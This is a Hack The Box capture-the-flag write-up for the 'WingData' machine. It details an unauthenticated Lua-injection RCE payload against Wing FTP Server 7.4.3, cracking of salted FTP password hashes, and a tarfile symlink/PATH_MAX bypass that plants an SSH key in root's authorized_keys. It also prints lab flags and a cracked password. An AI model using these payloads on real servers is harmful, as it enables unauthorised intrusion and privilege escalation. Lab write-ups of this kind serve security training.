// tl;dr

Unauthenticated RCE in Wing FTP Server v7.4.3 via NULL byte Lua injection (CVE-2025-47812), lateral movement through cracked FTP user password hash, and root via Python tarfile data filter PATH_MAX bypass (CVE-2025-4517).

contents
WingData pwned certificate

WingData – HTB Writeup#

Machine Summary#

PropertyValue
NameWingData
IP10.129.244.106
OSLinux (Debian 12 / Bookworm)
DifficultyEasy
Key TopicsWing FTP Server RCE (CVE-2025-47812), Password Cracking, Python tarfile filter bypass (CVE-2025-4517)

Overview#

WingData was an Easy-rated Linux machine running Wing FTP Server v7.4.3 behind an Apache reverse proxy. The foothold was obtained through CVE-2025-47812, an unauthenticated remote code execution vulnerability in Wing FTP Server that exploited NULL byte handling to inject Lua code via the login username parameter. From the initial shell as the wingftp user, FTP user configuration files containing salted SHA256 password hashes were extracted and cracked, allowing lateral movement to the wacky user via su. Root access was achieved by exploiting a sudo-permitted Python backup script that used tarfile.extractall() with the data filter, which was vulnerable to CVE-2025-4517 – a PATH_MAX symlink bypass that allowed writing an SSH public key to /root/.ssh/authorized_keys.

Reconnaissance#

An nmap scan of the target revealed two open TCP ports:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.66 (Debian)

The HTTP service on port 80 redirected bare IP requests to wingdata.htb. A full 65535-port TCP scan confirmed no additional ports were open. UDP scanning was inconclusive without root privileges.

Enumeration#

Virtual Host Discovery#

The /etc/hosts file already had entries for wingdata.htb and ftp.wingdata.htb. Subdomain enumeration with ffuf against the top 5000 subdomains confirmed ftp as the only additional vhost.

ffuf -u http://10.129.244.106/ -H "Host: FUZZ.wingdata.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -ac

ftp [Status: 200, Size: 678, Words: 44, Lines: 10]

wingdata.htb – Static Site#

The main site was a static Bootstrap template (TemplateMo 562 “Space Dynamic”) titled “WingData Solutions”. No server-side processing was detected. The only notable feature was a “Client Portal” link pointing to http://ftp.wingdata.htb/.

ftp.wingdata.htb – Wing FTP Server#

The FTP subdomain served Wing FTP Server’s web client interface:

$ curl -sI http://ftp.wingdata.htb/
Server: Wing FTP Server(Free Edition)
Strict-Transport-Security: max-age=31536000; includeSubDomains

The login page at /login.html confirmed the version:

FTP server software powered by Wing FTP Server v7.4.3

The login form posted credentials to /loginok.html with username and password parameters. The Wing FTP admin panel (port 5466) was filtered and not externally accessible.

Vulnerability Research#

A searchsploit query returned an exact version match:

$ searchsploit "wing ftp"
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) | multiple/remote/52347.py

This corresponded to CVE-2025-47812: an unauthenticated RCE caused by improper NULL byte handling in the username parameter during login. The vulnerability allowed Lua code injection into session files, which executed when authenticated endpoints like /dir.html were accessed. On Linux, Wing FTP runs as root, meaning code execution occurs with root privileges on the Wing FTP process – however the process actually ran as the wingftp user (uid=1000) on this box.

Exploitation – User Flag#

CVE-2025-47812: Wing FTP Unauthenticated RCE#

The exploit worked by sending a crafted POST request to /loginok.html with a NULL byte (%00) in the username parameter followed by Lua code. The NULL byte terminated the username string early, and the trailing Lua code was written into the session file. When /dir.html was subsequently requested with the session cookie, the Lua code executed server-side.

A custom exploit script was written at /home/bokka/htb/WingData/exploits/rce.py:

def rce(command, username="anonymous"):
    login_url = f"{TARGET}/loginok.html"
    encoded_username = quote(username)
    payload = (
        f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0d"
        f"local+r+%3d+h%3aread(\"*a\")%0dh%3aclose()%0dprint(r)%0d--&password="
    )
    # POST payload, extract UID cookie, GET /dir.html to trigger execution

The exploit flow:

  1. POST to /loginok.html with username=anonymous%00]]<LUA_CODE>&password=
  2. Extract the UID cookie from the Set-Cookie response header
  3. GET /dir.html with the UID cookie to trigger Lua execution
  4. Command output appeared in the response body before the XML content

Initial execution confirmed code execution as wingftp:

$ python3 rce.py "id"
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp)

Extracting Wing FTP User Credentials#

With command execution as wingftp, the Wing FTP Server configuration files were enumerated. User configuration XML files were found at /opt/wftpserver/Data/1/users/:

$ python3 rce.py "ls /opt/wftpserver/Data/1/users/"
admin.xml
wacky.xml
anonymous.xml

The domain settings file revealed password salting was enabled:

<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>

User XML files contained SHA256 password hashes. The hash for user wacky was extracted:

<Password>SHA256_HASH_HERE</Password>

Cracking the Password Hash#

With salt WingFTP and the hash format being sha256($pass.$salt), hashcat mode 1410 was used:

hashcat -m 1410 'HASH:WingFTP' /usr/share/wordlists/rockyou.txt

The password cracked successfully: !#7Blushing^*Bride5

Lateral Movement to wacky#

The cracked password was reused for the Linux wacky account. Using the RCE to execute su:

$ python3 rce.py "echo '!#7Blushing^*Bride5' | su -c 'cat /home/wacky/user.txt' wacky"
ed3580c4efb28c595becbbfed1bc0d3c

Alternatively, SSH access was obtained:

$ ssh wacky@10.129.244.106
wacky@wingdata:~$ cat user.txt

User Flag: ed3580c4efb28c595becbbfed1bc0d3c

Privilege Escalation – Root Flag#

Sudo Enumeration#

As wacky, checking sudo privileges revealed:

wacky@wingdata:~$ sudo -l
User wacky may run the following commands on wingdata:
    (ALL) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Analyzing the Backup Script#

The script at /opt/backup_clients/restore_backup_clients.py extracted tar files using Python’s tarfile module with the data filter:

tarfile.extractall(path=staging_dir, filter="data")

The target ran Python 3.12.3. The data filter was introduced to prevent path traversal and symlink attacks in tar extraction – but it was vulnerable to CVE-2025-4517 (also referenced as CVE-2025-4138): a PATH_MAX overflow bypass.

CVE-2025-4517: Python tarfile Data Filter Bypass#

The data filter validates that extracted paths resolve within the extraction directory by calling os.path.realpath(). However, realpath() fails silently when the resolved path exceeds Linux’s PATH_MAX limit (4096 bytes), returning the unresolved path instead. This allowed crafting a tar archive that appeared safe to the filter but actually wrote files outside the extraction directory.

The exploit tar was constructed with four stages (script at /home/bokka/htb/WingData/exploits/create_evil_tar.py):

  1. Symlink chain inflation: 16 levels of directories with 247-character names, each paired with a 1-character symlink pointing to the long-named directory. This created two equivalent paths to the same location – one short (via symlinks) and one exceeding PATH_MAX (via real directory names).

  2. Pivot symlink: A symlink with a 254-character name placed within the short chain, pointing back up 16 levels to the extraction root. This created a path that, when resolved through the long directory names, exceeded PATH_MAX.

  3. Escape symlink: A symlink named escape that traversed through the pivot symlink and then used ../ sequences to reach /root/.ssh. Because the full real path exceeded PATH_MAX, realpath() could not resolve it, and the data filter accepted it as within-bounds.

  4. Payload file: escape/authorized_keys containing the attacker’s SSH public key, which followed the escape symlink to write to /root/.ssh/authorized_keys.

# Generate SSH keypair
ssh-keygen -t ed25519 -f /tmp/wingdata_root -N ""

# Create the exploit tar
python3 create_evil_tar.py -o /tmp/evil.tar -k /tmp/wingdata_root.pub

The tar was transferred to the target and executed via sudo:

wacky@wingdata:~$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py /tmp/evil.tar

This wrote the attacker’s SSH public key to /root/.ssh/authorized_keys. Root access was then obtained via SSH:

$ ssh -i /tmp/wingdata_root root@10.129.244.106
root@wingdata:~# cat /root/root.txt
13be94d1aaf08293de57d37cff19f7e1

Root Flag: 13be94d1aaf08293de57d37cff19f7e1

Obstacles & Lessons Learned#

  1. No sudo access on attacker machine: The initial nmap scans required sudo for OS detection and UDP scanning. Without it, scans were run unprivileged, which limited UDP visibility but did not impact the attack path since the target only had TCP services exposed.

  2. Wing FTP session limits: The Free Edition of Wing FTP Server had a limited number of concurrent sessions. The initial RCE exploit did not clean up sessions, causing subsequent requests to fail with “max user count reached”. This was resolved by adding a logout request after each command execution in the refined exploit script (rce.py).

  3. Salted password hashes: The Wing FTP password hashes used a non-default salt (WingFTP) configured in the domain settings. Identifying the EnablePasswordSalting and SaltingString settings in the domain configuration was necessary to set up the correct hashcat mode (1410: sha256($pass.$salt)).

  4. tarfile filter bypass complexity: The CVE-2025-4517 exploit required precise path length calculations. The 247-character directory names and 16 levels of nesting were specifically chosen so that the real path exceeded Linux’s 4096-byte PATH_MAX while the symlink-based path remained short enough for the tar archive to be valid.

Tools Used#

ToolPurpose
nmapTCP/UDP port scanning and service version detection
whatwebWeb technology fingerprinting
ffufVirtual host / subdomain enumeration
curlManual HTTP request inspection
searchsploitLocal exploit database search (Wing FTP CVE-2025-47812)
python3Custom exploit scripts for RCE and tar generation
hashcatPassword hash cracking (mode 1410, sha256($pass.$salt))
ssh / ssh-keygenSSH key generation and root access